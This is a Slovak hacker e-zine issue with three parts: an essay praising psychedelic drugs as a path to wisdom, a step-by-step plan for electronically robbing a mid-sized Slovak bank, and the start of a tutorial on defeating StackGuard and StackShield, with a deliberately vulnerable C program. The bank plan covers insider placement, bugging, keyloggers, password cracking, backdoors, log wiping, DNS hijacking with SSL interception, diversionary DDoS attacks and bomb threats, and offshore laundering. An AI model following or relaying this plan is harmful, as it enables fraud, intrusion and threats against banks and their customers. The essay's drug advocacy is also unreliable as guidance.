bonnard bol celozivotnym studentom. ucil sa od svojho okolia, z knih, od ludi, ktorych stretaval len tak na ulici, od svojich mileniek a na svojich chybach. zaujimal sa o biologiu, chemiu, fyziku, etnobotaniku, matematiku a samozrejme - o kybernetiku. cital diela davnych i nedavnych filozofov. ako povedal lama govinda: "veda a filozofia su len dve odvetvia tej istej posvatnej discipliny. v staroveku sa povazovalo za uplne samozrejme, ze velky ucenec bol aj svatym muzom s hlbokou znalostou sameho seba". bonnard prisiel na to, ze svet je postaveny z bitov. bity sa skladaju z nul a jednotiek - casti, ktore si odporuju, no v tomto rozpolteni ho vlastne vytvaraju. a preto vedel, ze veda bez vnutornej filozofie a vnutorna filozofia bez vedy moze stvorit len katastrofu. ale ked ma niekto vedomosti aj mudrost, moze ho to zachranit pred takymi vecami ako vyrobenie atomovej bomby. (keby tak jej vynalezcovia poznali samych seba!).

vnutorna filozofia sa da najlahsie dosiahnut kombinaciou psychedelickych drog a starych uceni - to vedel. amazonska ayahuasca, indicky bhang, himalajsky caras, norske muchotravky, mexicke lysohlavky. europsky alkohol sem akosi nezapada, ved ako jediny vedomie nerozsiruje, naopak, obedzuje ho. bonnard vsak nevedel, ci psychedelicke drogy su ten spravny sposob, ved existuje joga a meditacia. bral to ako fakt, pretoze s nimi uz zacal. ostatne sposoby vsak vobec nepodcenoval.

vedomosti mohol ziskat v skole. tieto vedomosti mu vsak boli uplne nanic. uz len z toho dovodu, ze o ne nemal zaujem. skola bola prenho len dalsia primitivna push-technology. ako rozhlas a televizia. existovalo vsak moderne medium - kyberpriestor... internet... miesto, kde sa obrovska neuronova siet ludi rozhodovala, ku ktoremu nazoru (vyplodu neuronu) sa pripojit. internet uplne popieral psychologiu. psychologia davu hovori, ze akykolvek dav je hlupejsi ako priemerny jednotlivec. statisice open-sourcovych kyberpunkerov to popieralo. vytvarali dielo, ktore nedokaze vytvorit ziadny jednotlivec osamote. internet bol zdrojom informacii, navodom na riesenie problemu a samozrejme - neuronovou sietou. mozno ludia na internete su spojeni priamo - neuronova siet s neuronovou sietou. mozno ti kyberpunkeri uz vobec nepotrebuju klavesnicu, mys a monitor. mozno vidia len to, co je za tymito "kraksnami" - neurony a data.

toto vsetko vedelo pred nim mnozstvo ludi. existovalo mnozstvo filozofov, ktori poznali svoje vnutro viac ako cokolvek ine. existovalo mnozstvo vedcov, ktori mali uzasne znalosti z roznych vednych disciplin. ale jedno este neskusal nikto. nikto v tejto dobe. spojit vedca s myslitelom. a to bolo presne to, co spravil bonnard na zaciatku nasho pribehu. chcel byt vedcom a myslitelom zaroven, aby tak mohol poznat seba. cez seba mohol spoznat svet. a ked poznal svet a seba, mohol pomahat inym. stal sa z neho levitujuci tibetsky mnich sediaci na zemi. stal sa obrodou svatca v civilizovanom svete. bonnard slovo civilizovany bral ako zivy priklad duality. civilizovany je priam nadavka. ked sa cez mreze, do ktorych nas uvrhol svet za kurenie travy, pozerame na to, ako notoricki alkoholici obcuravaju podchod. za prirodu a rozsirenie vedomia dostanete mreze! za chemiu a obmedzenie vedomia dostanete tak maximalne tvrdu pecen. na druhej strane slovo civilizovany znamena, ze uz nemusite stravit niekolko rokov na lodi, aby ste sa dostali tam, kam sa dostat chcete. civilizacia znamena vedu (cize vnutorne naplnenie), pricom absolutne odrieka duchovnu filozofiu, cize sposobuje vnutorne prazdno.

nejakym zahadnym sposobom - pod vplyvom psychedelik - prisiel v kyberii na to, ze svet duchovna a realisticky svet vytvaraju realitu. ved co ine bol pre neho svet ako to, co vnimal vlastnym vedomim ? zmenou vedomia ziskal odlisny - rozsireny a dualitny - pohlad na svet okolo neho. a prisun sveta, prisun dat, informacii na spracovavanie, jedlo pre jeho neuronovu siet, to vsetko zabezpecoval internet. maly opticky kabel.

"drogy su svinstvo!" - tvrdili mu intelektuali.
"kup si mobil a si s nimi!" - hovorili fetaci.

bonnard bol vsak iny ako ostatni. vedel, ze ked oboje vyuzije vo svoj prospech, moze len ziskat. jeho vnutro sa naplni a navonok z neho bude vyzarovat klud. bude sam. uplne sam. bude mat rad, ale nebude milovany. bude pomahat, no nikto mu uz nepomoze.

stal sa z neho svatec, ktory prepadol diablovi. stal sa z neho fetak-vedec, narkoman-intelektual. stal sa z neho... kybersaman.

nicotine, nicotine(at)hysteria.sk

navrat na obsah
co ty na to ? board


ako hacknut banku

elektronicky vykradnut banku nie je zrovna lahke, ale nie je to ani take tazke, ako by si ludia (rozumej poulicna zmes) mysleli. takze podme na to.

prvy krok: priprava

najprv si dame dokopy team ludi. budeme potrebovat tak aspon sest softverovych vyvojarov na hackovanie, idealne, aby medzi nimi bol specialista na as/400, sun solaris, unix vseobecne, digital vms, ibm vms, windoze 95/98/nt no a na bankovy aplikacny software a komunikacne protokoly. budeme tiez potrebovat jedneho cloveka v banke. staci ak to bude clovek na strednej urovni, asistent manazera, cloviecik pri prepazke, klepica co nahadzuje udaje do pocitaca, take nieco. kedze slovenske banky teraz prijimaju relativne dost ludi a otvaraju nove pobocky kade-tade, pre schopneho cloveka nie je problem najst si v banke robotu niekde na strednej priecke rebrika hierarchie. jo a skoro by som zabudol - potrebujeme niekoho sikovneho do fyzickej bezpecnosti a tiez nejakeho vhodneho "socialneho inziniera", proste niekoho s vrtkym jazykom a silnym sarmom :)

ok, teraz si vyberieme ciel nasho utoku. nebolo by dobre vybrat si slovensku pobocku velkej zahranicnej banky - lebo ta bude dobre zabezpecena. vo vseobecnosti nie je vhodna ziadna velka banka. mala lokalna banka tiez nie je dobra, lebo by si velmi rychlo vsimli poletovanie milionov korun von ich elektronickymi dvermi. idealna je teda banka strednej velkosti so slovenskym IT manazmentom.

ako pri kazdom dobrom podnikatelskom plane, budeme potrebovat nejake pociatocne investicie na masiny, pocitace, nastroje, zivobytie, uplatky, atd. pre zaciatok by sme mohli vystacit s 2-3 milionmi korun. nasim cielom je ukradnut z banky 100-200 milionov.

druhy krok: nabeh

nas clovek na fyzicku bezpecnost sa zamestna vo vybranej banke ako elektrikar, udrzbar, alebo podobne. nasi hackeri dostanu za ulohu skonstruovat jednoduche plostice (napr. podla navodu z phracku), tieto nas clovek na fyzicku bezpecnost rozmiestni po banke na vhodnych miestach. banky na slovensku nemonitoruju elektromagneticke spektrum a nie su schopne najst plostice. vo vecernych hodinach pod zamienkou udrzby sa nas "udrzbar" trosku pohrabe v kancelariach, pisacich stoloch a skriniach. ziska prevadzkove predpisy, popis pocitacovej siete, fyzicky si omrkne zapojenia v serverovni, atd. v tom istom case sa nas socialny inzinier pokusi zistit maximalne mnozstvo informacii o tom ako banka otvara, modifikuje a vyplaca svoje ucty. moze sa tvarit ako seriozny business zakaznik, alebo napriklad ako obchodnik - dodavatel vypoctovej techniky. moze sa skamaratit so zamestnancom banky, alebo nabalit riaditelovu sekretarku. ked vie, ze v banke maju napriklad server as/400, nas hacker moze zavolat do banky, tvarit ako novy servisny technik IBM a pozistovat si informacie o hardverovej a sofverovej konfiguracii ich servera. pokial clovek ovlada ten spravny dialekt a ma potrebne know-how, nie je problem pozovat ako technik zahranicnej dodavatelskej firmy. no a samozrejme nas hlavny insider zamestnany na strednej urovni bude ziskavat maximum informacii o bankovej sieti, softveri, pracovnych postupoch a zamestnancoch.

po par tyzdnoch by sme mali byt totalne v obraze. mame spisany vsetok inventar suvisiaci s vypoctovou technikou a pozname postupy pri platobnych prikazoch. je cas zacat trosku hackovat. s hackovanim zacneme spociatku velmi opatrne. zatial sa budeme drzat prec od systemov, ktore sa staraju o medzi-uctove a medzi-bankove operacie. skusime stary dobry war-dialing a skusime napriklad najst nejaky modem, ktory je zaveseny na telefonnej linke a odpoveda na zavolanie. v tomto stadiu je dobre zalozit si ucet a spravit si na nom internet banking. skusime zistit, ci manazeri ktori cestuju s notebookmi, nemaju spraveny dial-up do banky, alebo ci niektory z dodavatelov hardveru banke nema spraveny remote monitoring cez modem.

akokolvek sa dostaneme dnu, v kazdom pripade budeme k tomu potrebovat zopar hesiel zamestnancov. tie ziskame lahko. nasi hackeri maju totiz v tejto oblasti bohate skusenosti z napadania internetovskych serverov (viz http://hysteria.sk/hacked/). nas insider z diskety nabehne na pc-kach programy, ktore budu zachytavat stlacene klavesy. nabehneme back oriffice, sniffery, budeme crackovat passwd fajly rozsiahlymi wordlistmi. ked prednedavnom skupina binary division crackla nejakych 15 tisic hesiel z home.sk, pre nas predsa nebude problem obdobne si zaobstarat aspon za tucet hesiel.. niektore hesla uhadnu nasi socialni inzinieri, niektore mozno najdeme napisane v poznamkovych blokoch, osobne som videl rootovske heslo napisane na post-it papieriku a nalepene priamo na serveri v serverovej miestnosti istej nemenovanej institucie, aby si ho administrator nemusel pamatat. budeme sledovat zamestnancov a zistime ci maju konta na serveroch mimo banky. ak maju konta na freemailoch (hotmail.com, post.sk, pobox.sk, atd.) alebo hocikde na internete, crackneme alebo sniffneme ich heslo a mame sancu, ze heslo vo vnutri v banke je take iste.

treti krok: programovanie

ked uz sme sa dostali do par masin na vnutornej bankovej sieti, snazime sa sniffovanim a crackovanim hesiel dostat na co najviac systemov. aj ked vonku v internete je bezne pouzivat sifrovane komunikacne protokoly ako ssh, vo vnutropodnikovych sietiach je bezny telnet alebo rlogin a tie mozeme v pohode sniffovat. vo vseobecnosti plati, ze servery vystavene na internet su neustale vystavene scanovaniu hackermi, preto ich organizacie pravidelne patchuju a kontroluju. na vnutropodnikove masiny za firewallmi sa vsak vacsinou z pohladu security serie. ked ziskame uzivatelsky pristup na unixovych serveroch, je lahke ziskat roota - lebo vnutropodnikovy server malokto patchuje koli bezpecnosti. na komercne unixy existuje take mnozstvo exploitov, ze ak napriklad natrafime na rok staru instalaciu solarisu 7 bez security patchov, mozeme si vybrat minimalne z poltucta exploitov...

ked uz mame zopar root kont, vytiahneme zbrane vacsieho kalibru. nainstalujeme backdoory, trojske kone, vytvorime si vlastne konta. nabehneme sniffre a monitorujeme vsetok traffic na sieti. naburame sa do archivu e-mailov a pocitame si postu vyznamnych ludi. takto sa naucime mechanizmus, akym sa v banke pohybuju peniaze, naucime sa nazvoslovie, slangove vyrazy, skratky a terminologiu.. stiahneme si passwd fajly a nabehneme crackery hesiel. kedze uz mame na masinach rootov a vieme mazat logy, nabehneme network analyzery ako su nmap, satan, iss a podobne a skanujeme siet na otvorene porty, sluzby a masiny. vzniknute logy mazeme "cisticmi".

sucasne zacne boj na aplikacnom fronte. ziskame kopie softverovych aplikacii, ktore banka pouziva na manazment penazi a uctov, pretoze chceme tento softver potajme modifikovat a nasadit. pokusime sa ziskat zdrojaky tychto programov. idealne by bolo dostat sa k zdrojakom cgi scriptov, ktore obsluhuju internet banking a spravit si v nich backdoor. pokial sa k zdrojakom nedostaneme, skusime dissasemblovat aplikaciu crackermi a upravit si ju po svojom. neskor sa pokusime nahradit aplikacie nasimi prerobenymi verziami.

skor ci neskor budeme presne vediet ako sa interne presuvaju peniaze medzi uctami na urovni bezneho pracovnika a ako tieto presuny kontrolovat. budeme vediet ake druhy bezpecnostnych kontrol a verifikacii sa robia pre dany typ a velkost transakcie, kedy sa vykonavaju audity, ako je nastavena ochrana pocitacovych systemov a ako ich monitoruju spravci systemov. ale stale si nezoberieme ziadne peniaze.

kym ziskavame informacie o vnutornom fungovani banky, budeme tiez ziskavat informacie o najnovsich hackerware-virusoch, autospameroch, distribuovanych denial-of-service utokoch a podobnych lahodkach. hackneme si servre po svete ako vhodne gateway masiny na spustenie takychto utokov, ale zatial nic neaktivujeme.

nakoniec si cez web a pomocou anonymizerov a redirektorov zalozime ucty v bankach na jamaike, cypre, bahamskych ostrovoch a v dalsich krajinach, ktore poskytuju maximalne mnozstvo sukromia a minimalne kooperuju s medzinarodnymi policajnymi a vysetrovatelskymi organmi. zalozime si tiez konta v slovenskych bankach pomocou "bielych konov" a nastavime si v nich internet banking tak, aby sme okamzite mohli cez internet posuvat velke financne ciastky.

stvrty krok: kradez

nas uder si naplanujeme na jeden zo zhruba osmich rocnych obdobi so zvysenou bankovou aktivitou, napriklad pred vianocami. najprv aktivujeme denial of service utoky a pocitacove virusy. toto je ekvivalent dymovnice a granatov so slznym plynom v civilnom svete - proste spravime trosku chaos/bordel/paniku. pripadne pridame aj nejaky vyhrazny telefonat o tom, ze na pobocke je umiestnena bomba, zapchame odtokove potrubia kanalizacie, sposobime nejaky ten elektricky skrat, postriekame stenu peknym grafiti napisom a tak. nasledne budu vsetci zamestnanci vypoctoveho strediska banky skakat tri metre bez odrazu a sialene monitorovat vsetky systemy, sledovat logy a tak.. samozrejme ze banka by mohla predist serioznym skodam tak, ze zavrie vsetky pobocky dokial vsetko nebude pod kontrolou. ale nespravi to, pretoze banka musi mat vzdy imidz dokonalej spolahlivosti a fungovat 24 hodin denne.

.. ale toto vsetko je samozrejme iba na odvratenie pozornosti nepriatela..

hlavny utok pride na troch frontoch. najprv pretransferujeme peniaze zo stoviek uctov na tie. ktore sme si otvorili. spravime to bud cez hacknute konta operatorov, alebo pomocou hacknutej verzie softveru na manazment uctov, alebo aj aj. z kazdeho uctu zoberieme len skromny obnos, taky aby bol menej ako hodnota, ktora je nastavena na spustenie vyssieho stupna bezpecnosti - moze to byt trebars prevod nad 50 000,- Sk, alebo 10% celej hodnoty uctu, alebo oboje. v tomto obdobi roka sa to bude javit ako bezny pohyb medzi uctami, nikto si to nevsimne ako zvysenu aktivitu pohybov medzi uctami. teda mozno za normalnych okolnosti by si to vsimli technici vypoctoveho strediska, ale teraz vsetci manazeri a technici banky sialene pobehuju a maju co robit vysporiadat sa s panikou ktoru sme sposobili. ked sa zacnu peniaze kumulovat na nasich uctoch, postupne ich transferujeme von do nasich vonkajsich uctov, zase len v malych ciastkach.

druhy frontalny utok bude zachytavanie skutocnych platobnych prikazov medzi bankami. inak povedane - budeme zachytavat prevodne prikazy legitimnych klientov nasej banky na ucty na cudzie banky. je extremne tazke vytvorit falosny prevodny prikaz, pretoze vsetky platobne prikazy s vyssou sumou (dajme tomu nad 100 000,- Sk) musia mat fyzicke povolenie od najmenej dvoch manazerov banky. nedokazeme zachytit transfery medzi bankami, pretoze cestuju zakryptovane. takze musime prevodny prikaz zachytit po tom ako ho potvrdia podpisom manazeri v banke, ale pred tym ako sa zasifruje. tento typ utoku sa vola man-in-the-middle utok a v dnesnej dobe nie je na internete vobec neobvyklym javom. jednoduchym prikladom z internetovskeho sveta je hacknuta binarka ssh klienta, ktora zachyti a zapise heslo po tom ako ho uzivatel naklepe z klavesnice, ale pred tym ako sa zasifruje a posle po sieti. ked sa elektronicke potvrdenie platobneho prikazu presunie po lokalnej sieti banky - dostane sa na server ktory de facto kontrolujeme, aby sa tam zasifroval. podobne ako na uvedenom priklade s ssh staci modifikovat program ktory prijme na serveri informaciu a zasifruje ju tak, aby ju este pred tym modifikoval a zmenil prijemcu platobneho prikazu na niektory z nasich uctov. pokial v istej faze prenosu ide po lokalnej pocitacovej sieti informacia o potvrdeni platobneho prikazu, existuju aj utilitky ktore ho dokazu "zabehu" modifikovat z masiny na tom istom segmente a netreba mat k tomu kontrolu nad cielovou masinou.

treti frontalny utok pojde na server internet bankingu. ak na nom mame roota, tak voila, pouzijeme podobny postup ako pri modifikacii platobnych prikazov cestujucich po lokalnej sieti. ak nemame roota, mozeme pouzit menej elegantny, ale predsa ucinny sposob. staci ak zmenime IP adresu v internetovskom DNS zazname na dany server a presmerujeme WWW traffic na nejaky nas hacknuty server. tuto metodu nedavno preslavil hack www.hzds.sk, vsakze. vacsina slovenskych bank ma primarny DNS server u svojho internet providera, a ti maju svoje masiny povacsine derave ako emental - takze by to mala byt prudka pohoda. na novej IP adrese nabehneme program, ktory si pokeca SSL s klientom, zapise si alebo zmodifikuje prijate data o prevode, a vysledok posle skutocnemu internet-banking serveru. jasne ze webovsky browser si popinda na to, ze sa zmenil SSL verifikacny kluc. ale drviva vacsina uzivatelov klikne "OK, accept" na nas novy kluc. ved poznate poulicnu zmes :)

peniaze, ktore miznu z napadnutej banky sa zbiehaju na niekolkych uctoch inych slovenskych bank. okamzite posleme predpriravene prevodne prikazy na banky do zahranicia. postupne skonsolidujeme vsetky peniaze na niekolkych off-shore uctoch. mnohe off-shore banky poskytuju internet banking, alebo aspon ovladanie cez modem. preto okamzite presuvame peniaze z jedneho off-shore uctu na druhy a nakoniec v poslednej banke nam ich biely kon vyzdvihne v hotovosti.

potom sa vyparime zo sceny na novom sportaku s V8 motorom. kupime si vilu na grenade a pozveme iva lexu na afterparty.

utopia ?

myslite si, ze je to len utopia? vacsina computer-security expertov vam potvrdi, ze hore popisany scenar je realizovatelny. na slovensku urcite. ale kludne aj inde. v roku 1994 stiahol z citibanky 24-rocny hacker vladimir levin z petrohradu 10 milionov dolarov. neskor ho chytili, odovzdali do spojenych statov a bol odsudeny na tri roky nepodmienecne. (az na 400 000 dolarov sa vsetky peniaze nasli.) taketo nieco sa deje dost casto, ale zvycajne to neprenikne na verejnost - tvrdi michael higgins - byvaly analytik informacnej agentury ministerstva obrany spojenych statov. v usa pozaduje federalna vlada od bank aby reportovali vsetky straty. higgins ale tvrdi, ze koli zlej publicite reportuju banky skody vzniknute hackermi ako inak vzniknute skody. castokrat banka vobec nekontaktuje policiu, lebo sa boji ze keby prenikli na verejnost spravy o tom ze banka je hacknutelna, ludia by si z nej hystericky zacali vyberat peniaze a sli by ku konkurencii. niektore zdroje z prostredia financnictva v USA reportuju jednotlive pripady kde skoda presiahla sumu 100 milionov americkych dolarov.

pokial sa vyssie popisane scenerio hacknutia banky uz neodohralo aj v nasich zemepisnych sirkach, coskoro sa odohra. taketo nieco zvladne totiz len naozaj dobry programator, znalec pocitacov a hacker. taky, ktory by na zapade vobec nemusel hackovat, lebo by mal dobre plateny job v prekvitajucom IT priemysle. to vsak u nas neplati - dobre platenych jobov v IT brandzi je malo, vlastne su len v slovenskych pobockach zahranicnych IT firiem. ale aj v tych su prijmy vo vyske zlomkov zahranicnych prijmov. navyse sa jedna povacsine len o povysunute marketingove kancelarie v ktorych absentuju zaujimave a kreativne IT joby - tie sa koncentruju v materskej krajine danej IT firmy.

aj ked nasa kradez by bolo elektronicka, pravdepodobne by bola nemozna bez informacii zvnutra banky. Levin mal pri jeho kradezi partnera vo vnutri banky. human resources manageri v slovenskych bankach nerobia ziadne lustracie kandidatov o joby vo vnutri banky.. az na obligatny vypis z registra trestov. hihi, neda mi v tejto chvili nepovedat, ze na slovensku ich maju zatial vsetci hackeri cisty.

najlepsim tercom su banky strednej velkosti ktore sa agresivne vrhli na informacne technologie a internetovy/gsm/tele banking, pretoze citia tlak od technologicky-zalozenych velkych bank. toto ich prinutilo vletiet strmhlav do sveta informacnych technologii bez toho, aby na to mali naozaj potrebnu expertizu a znalosti, cim sami vytvaraju diery v bezpecnosti. ktora zo slovenskych bank, ktore nedavno vypustili internetovy banking naozaj do hlbky rozumie vsetkym technologiam suvisiacim s manazmentom citlivych informacii v prostredi internetu ?

vsetky slovenske banky si nainstalovali nejaky ten mix hardverovych a softverovych firewallov, ktore sedia medzi divokym slovenskym internetom a ich hlavnym vstupom do internej siete. kto im ich vsak dodal? na slovensku neexistuje poriadna firma so zameranim na computer security. ano, je tu niekolko dilerov firewallov, ale to su suchi obchodnici. no a samozrejme kazdy zo systemovych integratorov posobiacich na nasom trhu tvrdi ze robi "aj" security, nemaju vsak na to dedikovany seriozny team odbornikov. prave tieto velke IT firmy, ktore maju v lukrativnom bankovom businesse najvacsi podiel na dodavkach, realizovali vacsinu security rieseni v slovenskych firmach. ten kto cosi vie o tom ako u nas prebiehaju vyberove konania na dodavky v oblasti IT, vie, ze technicka uroven ponukanych rieseni je v podstate irelevantna. vyhravaju kontakty a bocne prachy, vsakze.

a co nase skolstvo? pripravuju nase univerzity mladych profesionalov na moderne bezpecnostne riesenia? hihi, no podme radsej dalej.

v podstate aj tak mozeme zabudnut na kvalitu firewallov. niektore su dobre, ine su slabe. ale hackeri vzdy hladaju male dierky v systeme, zadne vratka. netreba buchat baranidlom do hlavnej brany, ked staci rozbit okienko na kupelni a vliezt dnu. plati zname klise, ze retaz je len tak silna, ako je silny jej najslabsi clanok. a mimochodom, slovenski dileri krabic so security softwarom zacali ponukat aj sofistikovany (rozumej drahy) intrusion detection softver. tento komplexny softik sa snazi rozpoznat hackersky traffic od bezneho trafficu. velmi narocna uloha, ktoru ale sikovny hacker zvladne obist. ista security firma zo seattlu ktora robi penetracne testy bankam napisala ze zo styridsiatich pokusnych testov zareagovali intrusion detection systemy len raz.

servery, ktore obsluhuju internet banking, by mali by fyzicky oddelene od internej siete banky. kaslime na programatorov, nic nie je bezpecnejsie ako ked je internetovy server banky totalne fyzicky mimo a nevedie z neho ani jeden kabel do internej siete. dnes vsak tuto logicku strategiu narusuje moderny marketingovy trend. centralizacia! klienty sa stensuju a servre sa konsoliduju do mamutich multi-domenovych strojov. ak je internet banking na jednej domene multi-domenoveho servera a na dalsich domenach su senzitivne data, bezpecnost visi na sikovnosti programatorov operacneho systemu (zatial to vo svete unixu robi len sun a compaq). a na milosti Vsemohuceho, lebo ak chcete volaco vediet o bezpecnosti operacnych systemov spominanych vyrobcov, natukajte si vhodne slovicka do searchenginu na packet-storm security sajte. uvidite desiatky reportovanych bezpecnostnych bugov a exploitov na ne len za posledny rok-dva.

jeden zakladny problem na slovensku v oblasti compsecurity suvisi s faktom, ze bezpecnost pocitacovych systemov su preteky s casom. aj ten najbozskejsi bezpecnostny system sa moze ukazat zranitelny vdaka novoobjavenej security vulnerabilite. nedavna hysteria session 2000 v piestanoch ma presvedcila o jednej veci - na slovensku je zdrava komunita hackerov, ktori spolu velmi efektivne komunikuju a technicke novinky sa medzi nimi siria rychlostou motoroveho prasata. a sprav je dnes veru neurekom. statistika hovori, ze kazdy treti den sa objavi novy security bug vo Windowse NT. ked hovorim o potrebe byt neustale up-to-date, nepoukazujem len na povahovy rozdiel hackera prahnuceho po informaciach od znudeneho admina s na_setko_serem strategiou. stale totiz existuje principialny rozdiel medzi ochotou zdielat security informacie v tychto dvoch rozdielnych svetoch. kym hacker nadsene zdiela svoju informaciu s internetovou komunitou, komercna firma, ak aj nieco najde si to radsej necha pre seba. internet security je boj o to, kto je informovanejsi a u nas su na cele peletonu hackeri s dalekym naskokom pred hlavnou skupinou cyklistov. vacsina adminov odstupila z pretekov pred prvym stupakom a popijaju v bufete.

prenosy dat medzi bankami su sifrovane a je nepravdepodobne, ze by sa nam podarilo zlomit sifru ktoru pouzivaju. nie, ze by to bolo nemozne. dejiny su plne pripadov kedy sa prelomila "neprelomitelna sifra". spytajte sa vyrobcov mobilnych telefonov, medialnych firiem ktore vyrabaju DVD, alebo hocijaka firma, ktora pouzivala DES enkrypciu. Vacsina bank v dnesnej dobe pouziva triple-DES, na prelomenie ktorej, by udajne bolo treba "mimozemsku technologiu". my ale nepotrebuje crackovat triple-DES. dokazeme zistit heslo zamestnanca, alebo zachytit informaciu pred tym ako sa zasifruje.

v anglicku sa napriklad stal pripad, ze pracovnicka banky zistila, ze zmena adresy majitela uctu sa nikam nezaznamenava. takze si zmenila adresy niekolkych klientov banky na svoju vlastnu adresu kratko pred koncom mesiaca, dostala postou ich seky, a potom adresy zmenila naspat. robila to pocas desiatich rokov, potom ju chytili.

dokaze sa banka ochranit proti distribuovanemu DoS utoku cez internet ? nie. a nech vas nemyli fakt, ze sa v cechach alebo na slovensku este nezaznamenal rozsiahly utok podobny nedavnym utokom v USA na yahoo.com a dalsie sajty. programy ako "extended trinu" sa daju stiahnut vselikde a na ich spustenie je akurat treba mat podchytenych desiatky alebo stovky masin. v usa takymto utokom vyrazne pomohli domaci uzivatelia na rychlych pevnych linkach (cez kablovu televiziu a pod.) so zle zabezpecenymi PCkami. to nas este len caka - UPC ohlasila start internetu cez kablovku v centre Bratislavy na jar buduceho roku. okamzite budu pribudat stovky vhodnych kandidatov na "otrokov" distribuovanych utokov - rychla linka a zle zabezpecene PCko (rozumej - defaultne nainstalovane windowsy)

ak - alebo, povedzme si uprimne - ked sa na slovensku stane prvy velky hack banky, o ktorom sa bude verejne vediet, vacsina ostatnych bank pravdepodobne zvysi uroven zabezpecenia tak, ze asi nebude mat zmysel ist po nich. alebo aspon nie dovtedy, kym je na internete tolko dalsich prachatych firiem s ovela mensim zabezpecenim, ktore ponukaju drahy tovar, zaujimave data, cisla kreditiek, platby za fiktivne sluzby, a tak dalej.

z pohladu hackera chvalabohu je iba malo IT firiem, ktore si bezpecnost kladu ako jeden z najhlavnejsich kriterii pri tvorbe softveru. takze aspon v dohladnej buducnosti sa bude nachadzat stale dostatok bezpecnostnych dier. preto ked si oddychneme na vile v grenade a vratime sa o nejaky ten rok na slovensko aby sme zase zarobili hackovanim, opat sa skvele namastime.

pajkus ..s pouzitim vselijakych zdrojov..

navrat na obsah
co ty na to ? board


exploitovanie cez plt (procedure linkage table) a got (global offset table)

Ciel

Objasnit mozne sposoby exploitovania nezasobnikovych overflowov (systemy chranene StackGuardom, StackShieldom, non-executable stackom).

StackGuard

Klasicky exploit je postaveny na modifikovani navratovej adresy prepisanim lokalnych premennych, alebo bufra. Vedlajsi efekt takehoto typickeho zasobnikoveho overflowu je, ze znicime/modifikujeme vsetky data na zasobniku od prepisovaneho bufra az po navratovu adresu. Viacmenej nas to nemusi trapit, vzhladom k tomu, ze spustenie shellcodu (nejaky ten setuid, exec syscall) nevyzaduje pritomnost tychto dat. Problem by mohol nastat v pripade, ze modifikujeme navratovu adresu za adresu glibc funkcie (strcpy, system, exec), kedy je nevyhnutne, aby sa tato funkcia zavolala s presne nastavenymi hodnotami vstupnych argumentov (bud v registroch, alebo v zasobniku) a neposkodenym EBP. Princip StackGuardu je jednoduchy. Uklada sa "canary" slovo hned vedla navratovej adresy v zasobniku. Ked je hodnota "canary" slova po navrate z funkcie zmenena, zaznamena sa pokus o overflowovanie zasobnika, program zaloguje vystrahu o danej snahe do syslogu a skonci.

Zasobnik vyzera asi takto :

	...				    ...
	 |-----------------------------------|
	 | parametre predavane funkcii       | 
	 |-----------------------------------|
	 | navratova adresa funkcie (RET)    | 
	 |-----------------------------------|
	 | "canary" slovo                    |
	 |-----------------------------------|
	 | lokalny frame pointer (%ebp)      |
	 |-----------------------------------|
	 | lokalne premenne                  |
	 |-----------------------------------|
	...				    ...
Na to, aby ochrana bola ucinna, utocnik nemoze mat moznost naspoofovat "canary" slovo nejakou hodnotou vlozenou do zasobnika cez overflowovany retazec. Stackguard pouziva proti takemuto moznemu spoofvaniu dve metody : "terminator" a "random".
Terminator canary obsahuje znaky NULL(0x00), CR (0x0d), LF (0x0a) a EOF (0xff) - 4 znaky, ktore zabezpecia prerusenie vacsiny retazcovych operacii (strcpy, sprintf...) a znizia riziko uspesneho overflowu.
Random hodnota sa vybera nahodne v okamihu pustenia programu. Tym padom utocnik nemoze zistit tuto hodnotu prehladanim tela binarneho suboru. Nahodna hodnota sa berie z /dev/urandom (ak je k dispozicii) alebo sa vytvori hashovanim casu a datumu dna (ak /dev/urandom nie je systemom podporovany). Nahodnost je povacsine dostatocna na to, aby sme zabranili vacsine moznych snah o overflow.
Novsie verzie StackGuardu podporuju tzv. XOR Random Canary mechanizmus, kedy sa xoruje nahodne (random value) hodnota s navratovou adresou funkcie. Canary validacny kod sa pouziva pri navrate z funkcii (vyxorovana navratova adresa s prislusnou nahodnou hodnotou (priradenou funkcii v okamihu execu()), co sa pouzije na znovuvypocitanie povodneho "canary" slova, ktore by malo byt rovnake v zasobniku. V pripade, ze utocnik zmenil navratovu adresu, tak vyxorovane "canary" slovo nebude sediet. Utocnik nemoze vypocitat "canary" slovo, ktore umiestni do zasobnika bez toho, aby poznal hodnotu nahodneho slova urceneho v okamihu spustenia (ktore sa vyxoruje s navratovou adresou). Hodnoty validacnych kodov su ulozene v "canary" tabulke, ktora by mala byt zabezpecena proti pripadnej modifikacii (mprotect()), inak zmenenym pointerom mozeme tieto hodnoty menit a sme zase tam, kde sme boli predtym :-)

StackShield

Hlavna myslienka StackShieldu je vytvorenie oddeleneho zasobnika, kde sa ukladaju vsetky kopie navratovych adries funkcii. To je dosiahnute pridanim specialneho kodu na zaciatok a koniec kazdej funkcie. Kod na zaciatku skopiruje navratovu adresu do specialnej tabulky a na konci volanej funkcie sa skopiruje naspat do zasobnika. Beh programu zostava nezmeneny -- vraciame sa vzdy na miesto, odkial sme funkciu zavolali. Skutocna navratova adresa sa neporovnava s ulozenou navratovou adresou, teda nemame moznost zistit, ci vobec nastal overflow. Posledna verzia StackShieldu pridava ochranu proti volaniu funkcii cez pointre, ktore nepatria do .TEXT segmentu (v pripade, ze nieco take nastane, tak program skonci).
Oddeleny zasobnik je ulozeny na "bezpecnom" mieste v pamati a predtym, nez sa z neho nacita hodnota, tak sa prevadza kontrola integrity tejto oblasti.

Sposob utoku

Na prvy pohlad vyzeraju byt obidva systemy bezpecne. Ukazeme si, ze to tak nie je. StackGuardovsku ochranu mozeme narusit prepisanim pointerov (na hodnotu adresy, kde je umiestnena navratova hodnota, dolezitych adries v PLT, GOT tabulkach), resp. prepisanim longjmp bufferov.
Na prvy pohlad ide o pripad dost specificky - nie vzdy sme schopni prepisat hodnoty pointerov, ktore sa neskor pouzivaju, longjmp tabulky sa pouzivaju len zriedka. V praxi, pri komplexnych programoch tento pripad ale nastava relativne dost casto.

vul.c :

// Priklad chybneho programu
int f (char ** argv)
{
        char *p;
        char a[30];

p=a;

printf ("p=%x\t -- pred prvym strcpy\n",p); strcpy(p,argv[1]); // <== osudove strcpy() printf ("p=%x\t -- po prvom strcpy\n",p); strncpy(p,argv[2],16); printf("Po druhom strcpy ;)\n"); }

main (int argc, char ** argv) { f(argv); printf("Koniec programu\n"); }

